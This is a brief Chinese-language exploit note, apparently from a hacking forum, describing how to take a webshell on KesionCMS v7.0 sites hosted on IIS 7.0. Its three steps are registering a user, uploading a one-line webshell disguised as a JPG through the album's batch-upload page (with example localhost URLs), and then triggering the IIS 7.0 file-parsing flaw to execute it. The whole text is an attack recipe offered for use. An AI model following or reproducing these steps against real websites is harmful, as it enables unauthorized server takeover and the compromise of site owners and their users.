通杀KesionCMS v7.0版本，利用条件必须基于iis7.0架设。（有点鸡肋）！！！

 
第一步：注册用户：http://127.0.0.1/?do=reg
 
第二步：访问相册直接点批量上传伪造好的jpg一句话，(不要选择图片库里面上传)
 
http://127.0.0.1/user/User_Photo.asp?Action=Add
 
第三步：利用iis7.0解析漏洞拿下shell